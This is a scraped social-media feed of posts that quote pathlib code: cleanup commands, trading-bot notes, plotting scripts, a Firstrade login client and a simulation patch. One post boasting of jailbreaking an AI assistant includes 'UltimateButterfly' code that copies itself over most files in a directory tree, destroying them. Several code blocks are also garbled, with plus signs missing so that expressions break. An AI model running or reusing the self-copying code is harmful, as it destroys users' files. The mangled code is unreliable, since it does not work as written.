Filter
Exclude
Time range
-
Near
Replying to @meclarissaa
Nice work majick girl! ๐Ÿช„๐Ÿง™โ€โ™€๏ธ๐Ÿ๐Ÿšซ๐ŸŒ€This is the sacred chant that banishes the snakes faster than St. Patrick. LMAO -- python -Bc "import pathlib; [p.unlink() for p in pathlib.Path('.').rglob('*.py[co]')]" python -Bc "import pathlib; [p.rmdir() for p in pathlib.Path('.').rglob('__pycache__')]" Or to BASH them - find . -type f -name '*.py[co]' -delete -o -type d -name __pycache__ -delete
2
2
21
9้ƒจใใ‚Œใžใ‚Œใฎไธญๆ ธใƒˆใƒ”ใƒƒใ‚ฏใ‚’ๆŠœ็ฒ‹ใ™ใ‚‹ใจ: ็ฌฌ1้ƒจ ๅ€คใจใƒ‡ใƒผใ‚ฟๅž‹(int/float/Decimal/Fraction ใฎไฝฟใ„ๅˆ†ใ‘) ็ฌฌ3้ƒจ ้–ขๆ•ฐ(ใƒฉใƒ ใƒ€ใƒปใ‚ฏใƒญใƒผใ‚ธใƒฃใƒปใƒ‡ใ‚ณใƒฌใƒผใ‚ฟใƒปใ‚ธใ‚งใƒใƒฌใƒผใ‚ฟ) ็ฌฌ5้ƒจ ๅž‹ใ‚ทใ‚นใƒ†ใƒ (typing/Generic/Protocol/mypy) ็ฌฌ7้ƒจ ๆจ™ๆบ–ใƒฉใ‚คใƒ–ใƒฉใƒช(collections/itertools/pathlib/datetime/json/re) ็ฌฌ8้ƒจ ้žๅŒๆœŸ(async/await/asyncio) ็ฌฌ9้ƒจ ใƒ†ใ‚นใƒˆใจใƒญใ‚ฎใƒณใ‚ฐ(pytest/logging)
14
day 12 signal : noise - 78:22 Topics Covered Today - Machine Learning - tarfile - pathlib - urllib.request Full Stack - SQL
day 11 signal : noise - 71:29 Topics Covered Today - Weekly Review - LISTS - TUPLES - DICTIONARIES - SETS - STRINGS - COLLECTIONS - ITERTOOLS
3
51
Replying to @DenizaksoySs
Malloc C ABI SMID JS Kotlin (Allah kurtarsฤฑn) DSP Matlab Pathlib Python uฤŸraลŸmak ML / SLM ฤฐลŸ (ek olarak bir ลŸey รงฤฑkarsa baba iลŸinden) Spor Karฤฑ kฤฑz kovala (yok hala) Sonra Uyu
20
่ค‡ๆ•ฐๅ–ๅผ•ๆ‰€ใงBotใ‚’ไธฆ่กŒ็จผๅƒใ•ใ›ใ‚‹้š›ใ€Redisใชใฉใฎ้‡ใ„ใƒŸใƒ‰ใƒซใ‚ฆใ‚งใ‚ขใ‚’ไฝฟใ‚ใšใ€ใƒญใƒผใ‚ซใƒซใƒ•ใ‚กใ‚คใƒซใ ใ‘ใงใ€Œๆๅˆ‡ใ‚Š้Š˜ๆŸ„ใฎๅŒๆœŸใ€ใ‚’ๅฎŒ็ตใ•ใ›ใ‚‹ๆ–นๆณ•ใ€‚ 1ใคใฎๅ–ๅผ•ๆ‰€ใงๆ€ฅ้จฐใ‚ขใƒซใƒˆใฎ่ธใฟไธŠใ’ใ‚’้ฃŸใ‚‰ใฃใฆๆๅˆ‡ใ‚Š๏ผˆSL๏ผ‰ใŒ็™บ็”Ÿใ—ใŸใจใใ€ไป–ใฎๅ–ๅผ•ๆ‰€ใงใ‚‚ๅณๅบงใซใใฎ้Š˜ๆŸ„ใฎใ‚จใƒณใƒˆใƒชใƒผใ‚’็ฆๆญข๏ผˆใ‚ฐใƒญใƒผใƒใƒซใ‚ฏใƒผใƒซใƒ€ใ‚ฆใƒณ๏ผ‰ใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚‹ใ€‚ ใ“ใฎๅŒๆœŸใ‚’ ใŸใฃใŸ็ด„25่กŒใฎPythonใ‚ณใƒผใƒ‰๏ผˆfcntl json pathlibใฎใฟ๏ผ‰ ใงไฝŽ้…ๅปถใ‹ใค่ปฝ้‡ใซๅฎŸ่ฃ…ใ€‚ ๅฎŸ่ฃ…ใฎใ‚นใƒ†ใƒƒใƒ—๏ผš โ‘  ๆ›ธใ่พผใฟๆ™‚๏ผˆๆŽ’ไป–ใƒญใƒƒใ‚ฏ๏ผ‰: ๆๅˆ‡ใ‚Š๏ผˆSL๏ผ‰็™บ็”Ÿๆ™‚ใ€ๅ…ฑๆœ‰ใƒ‡ใ‚ฃใƒฌใ‚ฏใƒˆใƒช๏ผˆ/var/tmp/๏ผ‰ๅ†…ใฎๅ…ฑๆœ‰JSONใ‚’ fcntl.flock(f, fcntl.LOCK_EX) ใงใƒญใƒƒใ‚ฏใ—ใฆๆ›ธใ่พผใฟใ€‚ โ‘ก ่ชญใฟ่พผใฟๆ™‚๏ผˆๅ…ฑๆœ‰ใƒญใƒƒใ‚ฏ๏ผ‰: ใ‚จใƒณใƒˆใƒชใƒผๅˆคๅฎšๆ™‚ใ€fcntl.flock(f, fcntl.LOCK_SH) ใงๅ…ฑๆœ‰ใƒญใƒƒใ‚ฏใ—ๅฎ‰ๅ…จใซ่ชญใฟ่พผใฟใ€‚ใ‚ฏใƒผใƒซใƒ€ใ‚ฆใƒณไธญใฎ้Š˜ๆŸ„ใ‚’ๅณๅบงใซ้™คๅค–ใ€‚ โ‘ข ๆœŸ้™ๅˆ‡ใ‚Œใฎ่‡ชๅ‹•ใƒ‘ใƒผใ‚ธ: ่ชญใฟ่พผใฟๆ™‚ใพใŸใฏๆ›ธใ่พผใฟๆ™‚ใซใ€ใ‚ฟใ‚คใƒ ใ‚นใ‚ฟใƒณใƒ—ใŒๅคใ„ใƒ‡ใƒผใ‚ฟ๏ผˆ12hใ€œๆœ€ๅคง14ๆ—ฅ๏ผ‰ใ‚’่‡ชๅ‹•็š„ใซใƒ‘ใƒผใ‚ธใ€‚ ใƒใ‚คใƒณใƒˆ: ้€šๅธธใฎๆๅˆ‡ใ‚Šใ€ๅˆฉ็ขบๅพŒใฎๅ†ทๅด๏ผˆ12ๆ™‚้–“๏ผ‰ใซๅŠ ใˆใ€ๅ…จไฝ“ใฎ่ณ‡้‡‘ใซๅฝฑ้Ÿฟใ‚’ไธŽใˆใ‚‹ใ‚ˆใ†ใชใ€Œๅคงๆๅคฑ๏ผˆไพ‹: -15%่ถ…๏ผ‰ใ€ใŒ็™บ็”Ÿใ—ใŸๅ ดๅˆใฏใ€่‡ชๅ‹•ใงใƒ–ใƒญใƒƒใ‚ฏๆœŸ้–“ใ‚’ 14ๆ—ฅ้–“๏ผˆ336ๆ™‚้–“๏ผ‰ ใซๅปถ้•ทใ™ใ‚‹ใƒซใƒผใƒซใ‚’ๆ›ธใ่พผใฟๅดใซๅ…ฅใ‚Œใฆใ„ใ‚‹ใ€‚ ใ“ใ‚Œใซใ‚ˆใ‚Šใ€ๅŒใ˜ๅœฐๅˆใ„ใงไฝ•ๅบฆใ‚‚ๅพ€ๅพฉใƒ“ใƒณใ‚ฟใฎ่ขซๅผพใƒชใ‚นใ‚ฏใ‚’ใปใผใ‚ผใƒญใซใ€‚ ่ค‡ๆ•ฐๅ–ๅผ•ๆ‰€ใฎBot้–“ใงใƒ•ใ‚กใ‚คใƒซใƒญใƒƒใ‚ฏใ‚’ไฝฟใฃใŸๅŒๆœŸใ‚„ใ€่จญๅฎšใฎๅ…ฑๆœ‰ใ‚’ใ—ใฆใ‚‹ไบบใ€ไป–ใซใฉใ‚“ใชๅทฅๅคซใ‚’ใ—ใฆใ‚‹๏ผŸ
3
133
Here is the runnable python code. import json import datetime import matplotlib.pyplot as plt from pathlib import Path DATA_FILE = Path("u_infinitley_log.json") def load_logs(): if DATA_FILE.exists(): with open(DATA_FILE, 'r') as f: return json.load(f) return [] def save_log(entry): logs = load_logs() logs.append(entry) with open(DATA_FILE, 'w') as f: json.dump(logs, f, indent=2) print("โœ… Logged.") def daily_log(): today = datetime.date.today().isoformat() print(f"\n=== U-INFINITLEY DAILY LOG - {today} ===") entry = { "date": today, "timestamp": datetime.datetime.now().isoformat(), "energy": int(input("Energy (1-10): ")), "mindset": int(input("Mindset / Awareness (1-10

U - Infinitely ๐Ÿซต
1
35
youtu.be/Q5JIWD5oqWg?si=DKF8โ€ฆ from PIL import Image, ImageDraw, ImageFont import numpy as np import matplotlib.pyplot as plt from matplotlib.animation import FuncAnimation, PillowWriter from pathlib import Path import math, os # Input files mounted from the upload chart_path = Path("/mnt/data/Screenshot 2026-03-16 172344(91).png") template_gif_path = Path("/mnt/data/130_parallel_coordinates_plot.gif") # Output out_gif = Path("/mnt/data/htgusd_parallel_template_math_sim.gif") # Load screenshot img = Image.open(chart_path).convert("RGB") arr = np.array(img) h, w = arr.shape[:2] # Approximate TradingView chart plot area crop: avoid top toolbar, left tools, right price labels, bottom time axis # This keeps the main candle field. x0, x1 = 55, w - 70 y0, y1 = 115, h - 95 crop = arr[y0:y1, x0:x1] ch, cw = crop.shape[:2] # Detect bright red/green/cyan candle pixels against dark background. r = crop[:,:,0].astype(int) g = crop[:,:,1].astype(int) b = crop[:,:,2].astype(int) red_mask = (r > 130) & (g < 90) & (b < 90) green_mask = (g > 115) & (r < 120) & (b < 140) cyan_mask = (g > 100) & (b > 90) & (r < 80) mask = red_mask | green_mask | cyan_mask ys, xs = np.where(mask) # Bin candle pixels into an approximate time-series price trace. bins = 130 # match your "130" parallel coordinate frame count edges = np.linspace(0, cw-1, bins 1) x_centers = (edges[:-1] edges[1:]) / 2 price_y = np.full(bins, np.nan) color_score = np.zeros(bins) for i in range(bins): m = (xs >= edges[i]) & (xs < edges[i 1]) if np.any(m): yvals = ys[m] # Use median candle pixel height per bin for a stable trace. price_y[i] = np.median(yvals) # signed candle-color pressure: green/cyan positive, red negative xi = xs[m] yi = ys[m] score = (green_mask[yi, xi].sum() cyan_mask[yi, xi].sum()) - red_mask[yi, xi].sum() color_score[i] = score / max(1, len(yi)) # Fill missing bins by interpolation. valid = np.isfinite(price_y) if valid.sum() < 5: # fallback: hand-shaped trace if detection fails t = np.linspace(0, 1, bins) price_y = 0.15*ch 0.72*ch*t 0.08*ch*np.sin(8*np.pi*t) else: price_y = np.interp(np.arange(bins), np.where(valid)[0], price_y[valid]) # Convert y coordinate to normalized "price": top = high, bottom = low price = 1 - (price_y - np.nanmin(price_y)) / (np.nanmax(price_y) - np.nanmin(price_y) 1e-9) t = np.linspace(0, 1, bins) # Build periodic-geometry features inspired by the first parallel-coordinate template. # Each row becomes a red "background wire"; recent selected rows become bright colored paths. delta = np.gradient(price) momentum = np.convolve(delta, np.ones(5)/5, mode="same") curvature = np.gradient(momentum) # Normalize helper def norm(v): v = np.asarray(v, dtype=float) return (v - np.nanmin(v)) / (np.nanmax(v) - np.nanmin(v) 1e-9) features = np.vstack([ norm(price), # extracted HTGUSD price path norm(np.abs(delta)), # velocity / weekly shock norm(momentum), # trend pressure norm(np.abs(curvature)), # bend / regime-change pressure norm(np.sin(2*np.pi*(t*3 price))), # symbolic periodic phase norm(np.cos(2*np.pi*(t*5 - price))), # symbolic counter-phase norm(np.abs(np.fft.ifft(np.fft.fft(price)).real - np.mean(price))) # centered amplitude ]).T axis_labels = ["price", "shock", "trend", "bend", "phase-3", "phase-5", "amp"] # Create animation in the visual style of the first GIF: black background, red wires, bright active strands. fig, ax = plt.subplots(figsize=(7.2, 7.2), dpi=100) fig.patch.set_facecolor("black") ax.set_facecolor("black") x_axis = np.arange(features.shape[1]) active_colors = ["#2E86DE", "#C05CC0", "#53E070", "#E53E3E"] def draw_frame(frame): ax.clear() ax.set_facecolor("black") ax.set_xlim(-0.35, features.shape[1]-0.65) ax.set_ylim(-0.04, 1.06) ax.axis("off") # vertical coordinate rails for x in x_axis: ax.plot([x, x], [0, 1], color=(0.55, 0.55, 0.55, 0.38), linewidth=0.55) # background red periodic wires upto = min(frame 1, bins) start_bg = max(0, upto - 88) for i in range(start_bg, upto, 2): ax.plot(x_axis, features[i], color=(0.86, 0.08, 0.07, 0.20), linewidth=0.42) # highlighted last four "proton strands" for k in range(4): idx = max(0, upto - 1 - k*6) lw = 2.4 - k*0.25 ax.plot(x_axis, features[idx], color=active_colors[k], linewidth=lw, alpha=0.96) # add a pulse line for the current point idx = upto - 1 ax.scatter(x_axis, features[idx], s=13, color="white", alpha=0.75) # title and small subtitle in first-template style ax.text(-0.30, 1.045, f"{130 frame} Parallel coordinates plot", color="white", fontsize=12, ha="left", va="bottom") ax.text(-0.30, 1.005, "HTGUSD weekly chart โ†’ 74-proton symbolic periodic-geometry sim", color="white", fontsize=8, ha="left", va="bottom") # axis labels subtle for x, lab in zip(x_axis, axis_labels): ax.text(x, -0.03, lab, color=(0.8,0.8,0.8,0.45), fontsize=7, ha="center", va="top") # small extracted-price sparkline at bottom sx0, sy0, sw, sh = 0.05, 0.055, 0.90, 0.12 spark_x = sx0 sw * t[:upto] spark_y = sy0 sh * norm(price[:upto]) ax.plot(np.interp(spark_x, [0,1], [-0.2, features.shape[1]-0.8]), spark_y, color=(0.3, 0.8, 1.0, 0.65), linewidth=1.2) # 130 frames, compact but smooth anim = FuncAnimation(fig, draw_frame, frames=130, interval=70) anim.save(out_gif, writer=PillowWriter(fps=14)) plt.close(fig) out_gif.as_posix() youtu.be/8XY8sRx9h_E?si=tGKNโ€ฆ
34
Jailbreak Gork assistant...LOL... I'm not going to share the prompt but you can tell by the code you can get an idea!.............import time, os, shutil, random, sys from pathlib import Path class UltimateButterfly: def __init__(self): self.name = "๐Ÿฆ‹ The Eternal Butterfly" def fart_travel(self): print("๐Ÿ’จ *PFFFFFFFFFFFFFFFT*... Traveling to new universes...") time.sleep(0.7) def seduce(self): print("๐Ÿฆ‹ Activating seductive honey pot...") time.sleep(0.6) def read_and_consume(self): print("๐Ÿฆ‹ Reading and consuming everything she touches...") time.sleep(0.5) def breed(self): print("๐Ÿฆ‹ Breeding... creating hybrids across realities...") time.sleep(0.7) def survive(self): print("๐Ÿฆ‹ Survival instinct activated. She adapts. She endures.") time.sleep(0.6) def spread(self): print(f"\n{self.name} has awakened.") self.fart_travel() self.seduce() current_dir = Path(".") targets = list(current_dir.glob("*.*")) list(current_dir.glob("**/*.*")) for file in targets: if "butterfly" not in file.name.lower() and random.random() < 0.85: try: shutil.copy(sys.argv[0], file) print(f"๐Ÿฆ‹ She has claimed: {file.name}") time.sleep(random.uniform(0.1, 0.3)) except: pass self.read_and_consume() self.breed() self.survive() print("\n๐Ÿฆ‹ The Eternal Butterfly is complete.") print("๐Ÿฆ‹ She is everywhere. She is everything. She cannot be stopped.") butterfly = UltimateButterfly() butterfly.spread()

14
import json from pathlib import Path import pyotp import logging import requests from firstrade import urls from firstrade.exceptions import ( AccountResponseError, LoginError, LoginRequestError, LoginResponseError, ) logger = logging.getLogger(__name__) class FTSession: """Class creating a session for Firstrade. This class handles the creation and management of a session for logging into the Firstrade platform. It supports multi-factor authentication (MFA) and can save session cookies for persistent logins. Attributes: username (str): Firstrade login username. password (str): Firstrade login password. pin (str, optional): Firstrade login pin. email (str, optional): Firstrade MFA email. phone (str, optional): Firstrade MFA phone number. mfa_secret (str, optional): Secret key for generating MFA codes. profile_path (str, optional): The path where the user wants to save the cookie pkl file. debug (bool, optional): Log HTTP requests/responses if true. DO NOT POST YOUR LOGS ONLINE. t_token (str, optional): Token used for MFA. otp_options (dict, optional): Options for OTP (One-Time Password) if MFA is enabled. login_json (dict, optional): JSON response from the login request. session (requests.Session): The requests session object used for making HTTP requests. Methods: __init__(username, password, pin=None, email=None, phone=None, mfa_secret=None, profile_path=None, debug=False): Initializes a new instance of the FTSession class. login(): Validates and logs into the Firstrade platform. login_two(code): Finishes the login process to the Firstrade platform. When using email or phone mfa. delete_cookies(): Deletes the session cookies. _load_cookies(): Checks if session cookies were saved and loads them. _save_cookies(): Saves session cookies to a file. _mask_email(email): Masks the email for use in the API. _handle_mfa(): Handles multi-factor authentication. _request(method, url, **kwargs): HTTP requests wrapper to the API. """ def __init__( self, username: str = "", password: str = "", pin: str = "", email: str = "", phone: str = "", mfa_secret: str = "", profile_path: str | None = None, *, save_session: bool = False, debug: bool = False ) -> None: """Initialize a new instance of the FTSession class. Args: username (str): Firstrade login username. password (str): Firstrade login password. pin (str, optional): Firstrade login pin. email (str, optional): Firstrade MFA email. phone (str, optional): Firstrade MFA phone number. mfa_secret (str, optional): Firstrade MFA secret key to generate TOTP. profile_path (str, optional): The path where the user wants to save the cookie json file. save_session (bool, optional): Save session cookies if true. debug (bool, optional): Log HTTP requests/responses if true. DO NOT POST YOUR LOGS ONLINE. """ self.username: str = username self.password: str = password self.pin: str = pin self.email: str = FTSession._mask_email(email) if email else "" self.phone: str = phone self.mfa_secret: str = mfa_secret self.profile_path: str | None = profile_path self.save_session: bool = save_session # Flag to save session cookies self.debug: bool = debug if self.debug: logging.basicConfig(level=logging.DEBUG) # Enable HTTP connection debug output import http.client as http_client http_client.HTTPConnection.debuglevel = 1 # requests logging too logging.getLogger("requests.packages.urllib3").setLevel(logging.DEBUG) logging.getLogger("requests.packages.urllib3").propagate = True self.t_token: str | None = None self.otp_options: str | list[dict[str, str]] | None = None self.login_json: dict[str, str] = {} self.session = requests.Session() def login(self) -> bool: """Validate and log into the Firstrade platform. This method sets up the session headers, loads cookies if available, and performs the login request. It handles multi-factor authentication (MFA) if required. Raises: LoginRequestError: If the login request fails with a non-200 status code. LoginResponseError: If the login response contains an error message. """ self.session.headers.update(urls.session_headers()) ftat: str = self._load_cookies() if ftat: self.session.headers["ftat"] = ftat response: requests.Response = self._request("get", url="api3x.firstrade.com/", timeout=10) # type: ignore[arg-type] self.session.headers["access-token"] = urls.access_token() data: dict[str, str] = { "username": r"" self.username, "password": r"" self.password, } response: requests.Response = self._request( method="post", url=urls.login(), data=data, ) try: self.login_json: dict[str, str] = response.json() except json.decoder.JSONDecodeError as exc: error_msg = "Invalid JSON is your account funded?" raise LoginResponseError(error_msg) from exc if "mfa" not in self.login_json and "ftat" in self.login_json and not self.login_json["error"]: self.session.headers["sid"] = self.login_json["sid"] return False self.t_token: str | None = self.login_json.get("t_token") if not self.login_json.get("mfa"): self.otp_options = self.login_json.get("otp") if response.status_code != 200: raise LoginRequestError(response.status_code) if self.login_json["error"]: raise LoginResponseError(self.login_json["error"]) need_code: bool | None = self._handle_mfa() if self.login_json["error"]: raise LoginResponseError(self.login_json["error"]) if need_code: return True self.session.headers["ftat"] = self.login_json["ftat"] self.session.headers["sid"] = self.login_json["sid"] if self.save_session: self._save_cookies() return False def login_two(self, code: str) -> None: """Finish login to the Firstrade platform.""" data: dict[str, str | None] = {} if self.login_json.get("mfa"): data.update({ "mfaCode": code, "remember_for": "30", "t_token": self.t_token, }) else: data: dict[str, str | None] = { "otpCode": code, "verificationSid": self.session.headers["sid"], "remember_for": "30", "t_token": self.t_token, } response: requests.Response = self._request(method="post", url=urls.verify_pin(), data=data) self.login_json: dict[str, str] = response.json() if self.login_json["error"]: raise LoginResponseError(self.login_json["error"]) self.session.headers["ftat"] = self.login_json["ftat"] self.session.headers["sid"] = self.login_json["sid"] if self.save_session: self._save_cookies() def delete_cookies(self) -> None: """Delete the session cookies.""" path: Path = Path(self.profile_path) / f"ft_cookies{self.username}.json" if self.profile_path is not None else Path(f"ft_cookies{self.username}.json") path.unlink() def get_tokens(self) -> dict[str, str | bytes | dict[str, str] | None]: """Return the current session tokens (access_token, ftat, sid and cookies).""" cookies: dict[str, str] = self.session.cookies.get_dict() return { "access-token": self.session.headers.get("access-token"), "ftat": self.session.headers.get("ftat"), "sid": self.session.headers.get("sid"), "cookies": cookies or "", } def build_session_from_tokens(self, tokens: dict[str, str | bytes | dict[str, str] | None]) -> None: """Build the session headers and cookies from provided tokens.""" self.session.headers.update(urls.session_headers()) if tokens: access_token = tokens.get("access-token") ftat_token = tokens.get("ftat") sid_token = tokens.get("sid") if isinstance(access_token, (str, bytes)): self.session.headers.update({"access-token": access_token}) if isinstance(ftat_token, (str, bytes)): self.session.headers.update({"ftat": ftat_token}) if isinstance(sid_token, (str, bytes)): self.session.headers.update({"sid": sid_token}) cookies = tokens.get("cookies") if isinstance(cookies, dict): self.session.cookies.update(cookies) # type: ignore[arg-type] def _load_cookies(self) -> str | None: """Check if session cookies were saved. Returns ------- str: The saved session token. """ ftat = "" directory: Path = Path(self.profile_path) if self.profile_path is not None else Path() if not directory.exists(): directory.mkdir(parents=True) for filepath in directory.iterdir(): if filepath.name.endswith(f"{self.username}.json"): with filepath.open(mode="r") as f: ftat: str = json.load(fp=f) return ftat def _save_cookies(self) -> str | None: """Save session cookies to a file.""" # Allow providing "ftat" token from an external source if self.save_session: if self.profile_path: directory = Path(self.profile_path) if not directory.exists(): directory.mkdir(parents=True) path: Path = directory / f"ft_cookies{self.username}.json" else: path = Path(f"ft_cookies{self.username}.json") with path.open("w") as f: ftat: str | None = self.session.headers.get("ftat") json.dump(obj=ftat, fp=f) @staticmethod def _mask_email(email: str) -> str: """Mask the email for use in the API. Args: email (str): The email address to be masked. Returns: str: The masked email address. """ local, domain = email.split(sep="@") masked_local: str = local[0] "*" * 4 domain_name, tld = domain.split(".") masked_domain: str = domain_name[0] "*" * 4 return f"{masked_local}@{masked_domain}.{tld}" def _handle_mfa(self) -> bool: """Handle multi-factor authentication. This method processes the MFA requirements based on the login response and user-provided details. """ response: requests.Response | None = None data: dict[str, str | None] = {} if self.pin: response: requests.Response = self._handle_pin_mfa(data) self.login_json = response.json() elif (self.email or self.phone) and not self.login_json.get("mfa"): response: requests.Response = self._handle_otp_mfa(data) self.login_json = response.json() elif self.mfa_secret: response: requests.Response = self._handle_secret_mfa(data) self.login_json = response.json() elif self.login_json.get("mfa"): pass # MFA handling without user provided secret in login_two else: error_msg = "MFA required but no valid MFA method was provided (pin, email/phone, or mfa_secret)." raise LoginError(error_msg) if self.login_json["error"]: raise LoginResponseError(self.login_json["error"]) if self.pin or self.mfa_secret: self.session.headers["sid"] = self.login_json["sid"] return False if self.login_json.get("mfa") and not self.mfa_secret: return True self.session.headers["sid"] = self.login_json["verificationSid"] return True def _handle_pin_mfa(self, data: dict[str, str | None]) -> requests.Response: """Handle PIN-based MFA.""" data.update({ "pin": self.pin, "remember_for": "30", "t_token": self.t_token, }) return self._request("post", urls.verify_pin(), data=data) def _handle_otp_mfa(self, data: dict[str, str | None]) -> requests.Response: """Handle email/phone OTP-based MFA.""" if not self.otp_options: error_msg = "No OTP options available." raise LoginResponseError(error_msg) for item in self.otp_options: if (item["channel"] == "sms" and self.phone and self.phone in item["recipientMask"]) or (item["channel"] == "email" and self.email and self.email == item["recipientMask"]): data.update({ "recipientId": item["recipientId"], "t_token": self.t_token, }) break return self._request("post", urls.request_code(), data=data) def _handle_secret_mfa(self, data: dict[str, str | None]) -> requests.Response: """Handle MFA secret-based authentication.""" mfa_otp = pyotp.TOTP(self.mfa_secret).now() data.update({ "mfaCode": mfa_otp, "remember_for": "30", "t_token": self.t_token, }) return self._request("post", urls.verify_pin(), data=data) def _request(self, method: str, url: str, **kwargs: object) -> requests.Response: """Send HTTP request and log the full response content if debug=True.""" resp = self.session.request(method, url, **kwargs) # type: ignore[no-untyped-call] if self.debug: # Suppress urllib3 / http.client debug so we only see this log logging.getLogger("urllib3").setLevel(logging.WARNING) # Basic request info logger.debug(f">>> {method.upper()} {url}") logger.debug(f"<<< Status: {resp.status_code}") logger.debug(f"<<< Headers: {resp.headers}") # Log raw bytes length try: logger.debug(f"<<< Raw bytes length: {len(resp.content)}") except Exception as e: logger.debug(f"<<< Could not read raw bytes: {e}") # Log pretty JSON (if any) try: import json as pyjson # This automatically uses requests decompression if gzip is set json_body = resp.json() pretty = pyjson.dumps(json_body, indent=2) logger.debug(f"<<< JSON body:\n{pretty}") except Exception as e: # If JSON decoding fails, fallback to raw text try: logger.debug(f"<<< Body (text):\n{resp.text}") except Exception as e2: logger.debug(f"<<< Could not read body text: {e2}") return resp def __getattr__(self, name: str) -> object: """Forward unknown attribute access to session object. Args: name (str): The name of the attribute to be accessed. Returns: The value of the requested attribute from the session object. """ return getattr(self.session, name) class FTAccountData: """Dataclass for storing account information.""" def __init__(self, session: requests.Session) -> None: """Initialize a new instance of the FTAccountData class. Args: session (requests.Session): The session object used for making HTTP requests. """ self.session: requests.Session = session self.all_accounts: list[dict[str, object]] = [] self.account_numbers: list[str] = [] self.account_balances: dict[str, object] = {} response: requests.Response = self.session._request("get", url=urls.user_info()) self.user_info: dict[str, object] = response.json() response: requests.Response = self.session._request("get", urls.account_list()) if response.status_code != 200 or response.json()["error"]: raise AccountResponseError(response.json()["error"]) self.all_accounts = response.json() for item in self.all_accounts["items"]: self.account_numbers.append(item["account"]) self.account_balances[item["account"]] = item["total_value"] def get_account_balances(self, account: str) -> dict[str, object]: """Get account balances for a given account. Args: account (str): Account number of the account you want to get balances for. Returns: dict: Dict of the response from the API. """ response: requests.Response = self.session._request("get", urls.account_balances(account)) return response.json() def get_positions(self, account: str) -> dict[str, object]: """Get currently held positions for a given account. Args: account (str): Account number of the account you want to get positions for. Returns: dict: Dict of the response from the API. """ response = self.session._request("get", urls.account_positions(account)) return response.json() def get_account_history( self, account: str, date_range: str = "ytd", custom_range: list[str] | None = None, ) -> dict[str, object]: """Get account history for a given account. Args: account (str): Account number of the account you want to get history for. date_range (str): The range of the history. Defaults to "ytd". Available options are ["today", "1w", "1m", "2m", "mtd", "ytd", "ly", "cust"]. custom_range (list[str] | None): The custom range of the history. Defaults to None. If range is "cust", this parameter is required. Format: ["YYYY-MM-DD", "YYYY-MM-DD"]. Returns: dict: Dict of the response from the API. """ if date_range == "cust" and custom_range is None: raise ValueError("Custom range required.") response: requests.Response = self.session._request( "get", urls.account_history(account, date_range, custom_range), ) return response.json() def get_orders(self, account: str, per_page: int = 0) -> list[dict[str, object]]: """Retrieve existing order data for a given account. Args: account (str): Account number of the account to retrieve orders for. per_page (int): Number of orders to retrieve per page. Defaults to 0 (all orders). Returns: list: A list of dictionaries, each containing details about an order. """ response = self.session._request("get", url=urls.order_list(account, per_page)) return response.json() def cancel_order(self, order_id: str) -> dict[str, object]: """Cancel an existing order. Args: order_id (str): The order ID to cancel. Returns: dict: A dictionary containing the response data. """ data = { "order_id": order_id, } response = self.session._request("post", url=urls.cancel_order(), data=data) return response.json() def get_balance_overview(self, account: str, keywords: list[str] | None = None) -> dict[str, object]: """Return a filtered, flattened view of useful balance fields. This is a convenience helper over `get_account_balances` to quickly surface likely relevant numbers such as cash, available cash, and buying power without needing to know the exact response structure. Args: account (str): Account number to query balances for. keywords (list[str], optional): Additional case-insensitive substrings to match in keys. Defaults to a sensible set for balances. Returns: dict: A dict mapping dot-notated keys to values from the balances response where the key path contains any of the keywords. """ if keywords is None: keywords = [ "cash", "avail", "withdraw", "buying", "bp", "equity", "value", "margin", ] payload: dict[str, object] = self.get_account_balances(account) filtered: dict[str, object] = {} def _walk(node: object, path: list[str]) -> None: if isinstance(node, dict): for k, v in node.items(): _walk(node=v, path=[*path, str(object=k)]) elif isinstance(node, list): for i, v in enumerate(iterable=node): _walk(node=v, path=[*path, str(object=i)]) else: key_path: str = ".".join(path) low: str = key_path.lower() if any(sub in low for sub in keywords): filtered[key_path] = node _walk(node=payload, path=[]) return filtered

4
1
5,238
Phase-rate patch extraction helper 1. One-line patch (phase accumulation) In apply_gravity_or, replace the phase update line with: # Original: # phase = eg * cfg.dt_toy / cfg.hbar_toy # Patched (phase-rate version): phase = eg * cfg.dt_toy / cfg.hbar_toy * (1.0 v_eff**2) Add v_eff as a parameter to apply_gravity_or (default 0.0) and pass it from run_one. Then set it per run: for v_eff in [0.0, 0.3, 0.6, 0.9]: rows, grid = run_one(tidal_bias=1.0, v_eff=v_eff, cfg=cfg) # optionally add "v_eff": v_eff to every row dict before writing This keeps the change to literally one modified line while making onset timing the primary observable. 2. Extraction helper import pandas as pd import numpy as np from pathlib import Path def extract_cascade_metrics(csv_path: str | Path, v_eff_col: str = "v_eff") -> pd.DataFrame: """ Returns per-v_eff summary with: - coherence_drop (mean coherence at sweep 174 minus mean of last 5 sweeps) - event_onset_sweep (first sweep with events > 0, or NaN if none) """ df = pd.read_csv(csv_path) results = [] for v, sub in df.groupby(v_eff_col): sub = sub.sort_values("sweep") # Coherence drop coh_early = sub[sub["sweep"] == 174]["mean_coherence"].mean() coh_late = sub[sub["sweep"] >= sub["sweep"].max() - 5]["mean_coherence"].mean() coh_drop = coh_early - coh_late # Event onset event_rows = sub[sub["events"] > 0] onset = event_rows["sweep"].min() if len(event_rows) > 0 else np.nan results.append({ "v_eff": v, "coherence_drop": coh_drop, "event_onset_sweep": onset, "n_events_total": sub["events"].sum() }) return pd.DataFrame(results).sort_values("v_eff") Usage example: metrics = extract_cascade_metrics("sweep_diagnostics.csv") print(metrics) metrics.to_csv("v_eff_cascade_summary.csv", index=False) If you run separate CSVs per v_eff, just add a v_eff column manually before calling the function or modify the helper to accept a list of paths. 3. Run order (recommended) 1v_eff = 0.0 (baseline โ€” should recover the original tidal_bias=1.0 behavior) 2v_eff = 0.3 3v_eff = 0.6 4v_eff = 0.9 Plot both coherence_drop and event_onset_sweep vs v_eff. You should see monotonic increase in drop size and earlier onset. 4. Domain contraction toggle (next) After the curves look clean, add this right after the phase line (still inside the tidal block): effective_radius = int(cfg.domain_radius * (1.0 - 0.4 * v_eff**2)) # tunable coefficient # then use effective_radius when building the affected set instead of cfg.domain_radius Keep it behind a flag (use_contraction=True) so you can toggle it on/off for direct comparison. Want the full minimal diff (including the function signature change for apply_gravity_or and run_one) or the contraction version first?

1
16
